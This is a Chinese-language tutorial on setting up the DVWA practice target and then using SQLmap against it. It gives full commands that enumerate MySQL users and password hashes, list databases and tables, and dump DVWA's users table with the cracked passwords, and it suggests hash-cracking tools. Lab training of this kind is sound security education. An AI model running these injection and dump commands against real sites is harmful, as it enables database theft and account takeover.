搭建DVWA測試環境和SQL注入之SQLmap入門
DVWA是一款滲透測試的演練系統,在圈子裡是很出名的。如果你需要入門,並且找不到合適的靶機,那我就推薦你用DVWA。
我們通常將演練系統稱為靶機,下面請跟著我一起搭建DVWA測試環境。如果你有一定的基礎,可以直接看下面一章節。
0x00 前言
我這裡用的是win7 系統,為啥要用win7。因為剛好我這裡有現成的系統。其實你用windows 2008 等等的都是可以的。
我只是用win7 舉個栗子,請看好下面。
0x01 VMware安裝
為什麼我要說下VMware的安裝?因為VMware能夠幫助你,更加方便的搭建DVWA。
下面是VMware的下載連結:
1 |
|
下載後執行,安裝。安裝教程如下:
http://jingyan.baidu.com/article/90895e0f95a07564ec6b0bc7.html
0x02 Win7安裝
請把Win7下載好。
https://www.microsoft.com/zh-cn/download/details.aspx?id=5842
然後在虛擬機器中配置。
1 |
|
0x03 安裝PHP整合環境
我這裡用的是phpstudy 2016,這個使用起來比較方便。下面是現在的最新版。
1 |
|
下載後然後放在安裝好的Win7種執行。
安裝起來比較容易,一直點下一步。然後會有初始化的提示點選是。
看的如下的視窗說明你安裝成功了。
0x04安裝DVWA
從這裡面進行下載。
1 |
|
把下載好的DWVA的壓縮包,放在C:\phpStudy\WWW中(因為我將phpStudy安裝在C盤,所以是C:\phpStudy),然後解壓DWVA的壓縮包。
下一步。需要配置DVWA連結資料庫,請開啟config資料夾,開啟config.inc.php。
需要把db_password 修改成 root ,因為咱們剛安裝好的整合環境預設的MYSQL 連結使用者名稱和密碼為 root root。修改後別忘了儲存。
0x05 讓我們登陸DVWA
需要找到自己的本機IP,然後記下來。
最後用瀏覽器訪問 http://192.168.0.5/DVWA-master/index.php (我這裡的IP是 192.168.0.5),選擇箭頭所指。
將新開啟的頁面往下拉,點選箭頭所指。
建立成功。哈哈。
然後咱們再次訪問 http://192.168.0.5/DVWA-master/login.php 需要輸入使用者名稱密碼。預設使用者名稱 admin 預設密碼 password。
最後成功登陸DVWA,OK,撒花。
本章到此就完了,下章為DWVA 的配置和暴力破解靶機。
===============================================================
什麼是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。
SQLmap的作者是誰?
Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過[email protected]與他取得聯絡,以及Miroslav Stampar (@stamparm)讀者可以通過[email protected]與他聯絡。
同時讀者也可以通過[email protected]與SQLmap的所有開發者聯絡。
執行SQLmap的命令是什麼?
進入sqlmap.py所在的目錄,執行以下命令:
#python sqlmap.py -h
(譯註:選項列表太長了,而且與最新版本有些差異,所以這裡不再列出,請讀者下載最新版在自己機器上看吧)
SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、列舉等。
如何使用SQLmap:
為方便演示,我們建立兩個虛擬機器:
1、受害者機器, windows XP作業系統,執行一個web伺服器,同時跑著一個包含漏洞的web應用(DVWA)。
2、攻擊器機器,使用Ubuntu 12.04,包含SQLmap程式。
本次實驗的目的:使用SQLmap得到以下資訊:
3、列舉MYSQL使用者名稱與密碼。
4、列舉所有資料庫。
5、列舉指定資料庫的資料表。
6、列舉指定資料表中的所有使用者名稱與密碼。
使用SQLmap之前我們得到需要當前會話cookies等資訊,用來在滲透過程中維持連線狀態,這裡使用Firefox中名為“TamperData”的add-on獲取。
當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。
為方便演示,我們將DVWA安全等級設定為low:
接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID引數如下:
“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
因此該頁面就是我們的目標頁面。
以下命令可以用來檢索當前資料庫和當前使用者:
“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用選項:
1、–cookie : 設定我們的cookie值“將DVWA安全等級從high設定為low”
2、-u : 指定目標URL
3、-b : 獲取DBMS banner
4、–current-db : 獲取當前資料庫
5、–current-user:獲取當前使用者
結果如下:
可以看到結果如下:
DBMS : MySQLversion 5.0
OS versionUbuntu 12.04
current user:root
current db :DVWA
以下命令用來列舉所有的DBMS使用者和密碼hash,在以後更進一步的攻擊中可以對密碼hash進行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”
使用選項:
1、–string : 當查詢可用時用來匹配頁面中的字串
2、–users : 列舉DBMS使用者
3、–password : 列舉DBMS使用者密碼hash
結果如下:
databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’
資料庫管理系統使用者和密碼hash:
[*]debian-sys-maint [1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] phpmyadmin[1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] root [4]:
password hash: *C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會列舉系統中所有的資料庫schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”
使用選項:
-
–dbs: 列舉DBMS中的資料庫
結果如下:
availabledatabases [5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin
下面我們嘗試列舉DVWA資料表,執行以下命令:
“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”
使用選項:
1、-D : 要列舉的DBMS資料庫
2、–tables : 列舉DBMS資料庫中的資料表
得到結果如下:
Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+
下面獲取使用者表的列,命令如下:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”
使用選項:
-
-T : 要列舉的DBMS資料庫表
-
–columns : 列舉DBMS資料庫表中的所有列
結果如下:
Database: dvwa
Table: users
[6 columns]
+————+————-+
| Column | Type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+
如上所示,以上為我們感興趣的列,表示使用者名稱與密碼等。下面將每一列的內容提取出來。執行以下命令,將使用者與密碼錶中的所有使用者名稱與密碼dump出來:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”
使用選項:
-
-T : 要列舉的DBMS資料表
-
-C: 要列舉的DBMS資料表中的列
-
–dump : 轉儲DBMS資料表項
SQLmap會提問是否破解密碼,按回車確認:
得到所有使用者名稱與明文密碼如下:
Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+
這時我們就可以利用admin帳戶登入做任何事了。
總結:
SQLmap是一個非常強大的工具,可以用來簡化操作,並自動處理SQL注入檢測與利用。
相關推薦
搭建DVWA測試環境和SQL注入之SQLmap入門
DVWA是一款滲透測試的演練系統,在圈子裡是很出名的。如果你需要入門,並且找不到合適的靶機,那我就推薦你用
Windows下輕鬆搭建DVWA測試環境
2,安裝phpstudy,啟動apache和mysql服務 3,去瀏覽器輸入:http://127.0.0.1/phpmyadmin進入登陸介面,輸入mysql資料庫預設的使用者名稱和密碼:root/root 如果進入這個頁面表示安裝phpstudy成
SQL注入之sqlmap爆破sqli-labs-master
sqlmap是一款爆破mysql資料的神器。這裡我用sqlmap來演示爆破sqli-labs-master的資料庫。 GET型的sqlmap爆破。 1.列舉資料庫:Python sqlmay.py -u http://localhost/sqli-labs-master/L
SQL注入之簡單的本地環境測試
1、搭建本地留言板環境進行測試,獲取使用者名稱和密碼留言板的個人中心介面2、新增一個單引號好出現資料庫報錯,可能存在sql注入3、3、判斷注入型別是整型還是字串型別1=1和1=2返回介面不一樣,判斷為整型注入4、猜欄位,7時介面正常,8時介面不正常,說明有7列5、判斷顯示位,
滲透測試DVWA測試環境環境搭建(win10)
(文章結尾為報錯處理DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure to your environment.) 1.
搭建TCP伺服器環境和jmeter測試TCP協議
搭建伺服器環境 import socket import sys from thread import * HOST = '' # Symbolic name meaning all available interfaces PORT = 888
python之Django學習筆記(一)---搭建Django開發環境和一些基本命令
system cfile 生成 ont superuser 如果 session username ins 1、Django下載 官方下載地址:https://www.djangoproject.com/download/ 2、Django安裝 linux/wind
eclipse下搭建JBPM6執行環境和測試
參考連結:http://blog.csdn.NET/dcz1001/article/details/19905035 3. 下載後的JBPM6包的全稱是:“jbpm-6.0.1.Final-installer-full.zip”,將其加壓縮。 4. 在JB
Android基礎之用Eclipse搭建Android開發環境和建立第一個Android專案(Windows平臺)
一、搭建Android開發環境 準備工作:下載Eclipse、JDK、Android SDK、ADT外掛 1、安裝和配置JAVA開發環境: ①把準備好的Eclipse和JDK安裝到本機上(最好安裝在全英文路徑下),並給JD
使用Rancher搭建K8S測試環境
docker tracking rac 按鈕 準備 登錄 ack k8s 名稱 使用Rancher搭建K8S測試環境 http://blog.csdn.net/csdn_duomaomao/article/details/75316926 環境準備(4臺主機,Ubu
Shell實戰:腳本自動化搭建IPsec測試環境
exchange 127.0.0.1 tip type pos 測試 config color ins 1.shell腳本獲取本機IP地址: localhostIP=`LC_ALL=C ifconfig | grep ‘inet addr:‘| grep -v ‘1
CFT每日一題之簡單的SQL注入之二
首先,輸入1 嘗試一下 然後爆出ID 加 個 單引號 嘗試 ,出現報錯介面 然後 大概猜測程式碼是 select xx from XX where id='' 用and測試 發現了有過濾,經過多測實驗後,發現去掉空格就可以 然後開始構造,我們可以使用/**/
python+appium搭建的測試環境
: 1,安裝jdk JDK下載好jdk直接點下一步就可以了,然後開始配置變數classpath, path, Java_home;再執行cmd,並輸入Java和javac看輸出判斷環境變數是否配好了。 2,安裝sdk 可以使用http://www.androiddevtools.cn/直接下載adt/A
sql注入與防止SQL注入之引數化處理
sql注入的兩種情況: 操作程式碼: import pymysql user = input('使用者名稱: ').strip() pwd = input('密碼: ').strip() # 連結 conn = pymysql.connect(host='localhost', user='ro
SQL注入之騷姿勢小記 & 替換 繞過
https://mp.weixin.qq.com/s/ORsciwsBGQJhFdKqceprSw 1、IN之騷 這個我也偶然發現的,也不知前輩們有沒有早已總結好的套路了。w3school上對in操作符的介紹: http://www.w3school.com.cn/sql/sql_in.
搭建自動化測試環境
一、安裝python(3.6.1) 開啟python安裝包勾選add python 3.6 to path---->自動新增環境變數 Ctrl+R--->cmd--->輸入python--->顯示python版本號並進入python的互動模式 報錯:不是內部或外部命令----&g
SQL注入之——sqli-labs-master 下載與安裝
轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/84262285 注意事項,寫在前面。 php版本一定要設定成 7 以下,7之後的mysql_都改成了mysqli_**了,用7以上版本的話會報錯 **********
開發環境 測試環境 和生產環境的區別
對於一個剛進入公司的新人來說,在熟悉工作環境的時候,會聽著幾個“老人”在自己可視範圍之外或者輕鬆的討論著業務,其措辭拿捏精準,期間,涉及到一系列的概念,可能會讓你不覺明厲,暗歎:“高階,大氣,上檔次”。有些術語,它既有官方稱呼,也有通俗叫法,對於不覺明厲的我們只
Node.js簡介——基於Node.js搭建自動化測試環境
有必要整理一下Node.js基礎知識啦! &
實驗吧Web-中-簡單的sql注入之2
輸入union select、order by這些關鍵字會提示SQLi detected! 說明對於關鍵字有防護 輸入1 union也會提示SQLi detected! 但是如果去掉空格:1union,則會返回正常,1'and'1'='1(無空格)也返回正常 所以可能是過濾了空格。